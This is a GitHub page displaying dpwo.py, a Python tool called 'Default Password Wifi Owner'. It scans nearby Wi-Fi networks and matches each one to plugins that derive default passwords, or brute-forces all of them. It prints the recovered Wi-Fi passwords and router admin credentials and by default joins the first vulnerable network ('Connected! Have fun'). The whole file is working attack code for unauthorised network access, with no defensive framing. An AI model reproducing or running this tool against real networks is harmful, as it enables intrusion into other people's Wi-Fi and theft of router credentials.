-
Notifications
You must be signed in to change notification settings - Fork 28
/
dpwo.py
192 lines (149 loc) · 5.77 KB
/
dpwo.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
# -*- coding: utf-8 -*-
import argparse
import importlib.machinery
import importlib.util
import os
import subprocess
import sys
from tqdm import tqdm
from wifi import Cell, Scheme
'''
DPWO
Default Password Wifi Owner 0.4v
python3
'''
AIRPORT_PATH = "/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport"
class NETOwner():
def __init__(self, iface, connect=False,brute = False,
airport=AIRPORT_PATH, verbosity=0):
self.iface = iface
self.brute = brute
self.connect = connect
self.airport = airport
self.verbosity = verbosity
self.os = sys.platform
self.plugins = self.load_plugins()
def load_plugins(self) :
plugin_folder = "./plugins"
plugins = []
possible_plugins = os.listdir(plugin_folder)
for f in possible_plugins :
location = os.path.join(plugin_folder,f)
if f[-3:] != '.py' or os.path.isfile(location) != True:
continue
info = importlib.machinery.PathFinder().find_spec(f[:-3],[plugin_folder])
p = info.loader.load_module()
plugins.append(p)
return plugins
def osx_networks(self):
scan = ""
while scan == "": # for some reason airport fails randomly
scan = subprocess.check_output([self.airport, "scan"]).decode()
# scan the area for wifi
scan = scan.encode('ascii','ignore')
scan = scan.decode().split("\n")
n_spaces = scan[0].split("SSID")[0].count(" ")+4
scan.pop(0) # remove header
for wifi in scan:
obj_t = str.split(wifi)
if len(obj_t) < 1 :
continue
obj = [ wifi[:n_spaces].replace(" ",''),
wifi[n_spaces:].split()[0] ]
if len(obj) > 0:
yield obj
def linux_networks(self):
scan = Cell.all(self.iface)
for wifi in scan:
obj = [wifi.ssid, wifi.address, wifi.signal, wifi.channel, wifi]
yield obj
def scan_network(self):
if self.os == "linux" or self.os == "linux2":
scanner = self.linux_networks()
elif self.os == "darwin":
scanner = self.osx_networks()
# elif os == "win32": TODO
results = []
for wifi in scanner :
if self.verbosity > 1:
tqdm.write(str(wifi))
# match SSID/MAC to a plugin
for p in self.plugins :
if self.brute and p.__name__ == "brute" :
for b in p.own(wifi[0],wifi[1]) :
results.append(b)
elif p.is_vuln(wifi[0],wifi[1]) :
results.append(p.own(wifi[0],wifi[1]))
return results
def connect_net(self, wifi):
try:
if self.os == "linux" or self.os == "linux2":
status = self.connect_net_linux(wifi)
elif self.os == "darwin":
status = self.connect_net_osx(wifi)
# elif os == "win32":
return status
except:
return False;
def connect_net_osx(self, wifi):
connect = subprocess.check_output([
"networksetup", "-setairportnetwork",
self.iface, wifi['ssid'], wifi['wifi_password']
]).decode()
if self.verbosity > 0:
tqdm.write(connect)
return "Failed" not in connect and "Could not" not in connect
def connect_net_linux(self, wifi):
return Scheme.find(self.iface, wifi[1]).activate()
def own(self):
wifi_available = self.scan_network()
if len(wifi_available) == 0:
print("No WiFi available :'(")
else:
connected = False
for wifi in tqdm(wifi_available):
tqdm.write("WI-FI: " + wifi["ssid"])
tqdm.write("Password: " + wifi["wifi_password"])
if self.verbosity > 0:
if wifi["admin_login"] and wifi["admin_password"] :
tqdm.write("Admin credentials of the router: ")
tqdm.write("User: " + wifi["admin_login"])
tqdm.write("Password: " + wifi["admin_password"])
if not connected and self.connect:
tqdm.write("Trying to connect...")
if self.connect_net(wifi):
tqdm.write("Connected! Have fun (:")
if not self.brute :
connected = True
else:
tqdm.write("Nope :(")
def parse_args():
parser = argparse.ArgumentParser(
formatter_class=argparse.ArgumentDefaultsHelpFormatter
)
parser.add_argument("-i", "--interface", default="wlp3s0",
help="Network interface.")
parser.add_argument("-b", "--brute",action='store_true', default=False,
help="Bruteforce all networks unregarding the SSID.")
parser.add_argument("-d", "--disable", action="store_false", default=True,
help="Disable autoconnect to the first vulnerable network.")
parser.add_argument("-a", "--airport", default=AIRPORT_PATH,
help="Airport program path.")
parser.add_argument("-v", "--verbosity", action="count",
help="Increase output verbosity.")
args = parser.parse_args()
return args
def main():
print("DPWO v0.4")
print("≈≈≈≈≈≈≈≈≈≈≈≈≈≈")
args = parse_args()
owner = NETOwner(
args.interface,
connect=args.disable,
brute=args.brute,
airport=args.airport,
verbosity=args.verbosity or 0
)
owner.own()
if __name__ == "__main__":
main()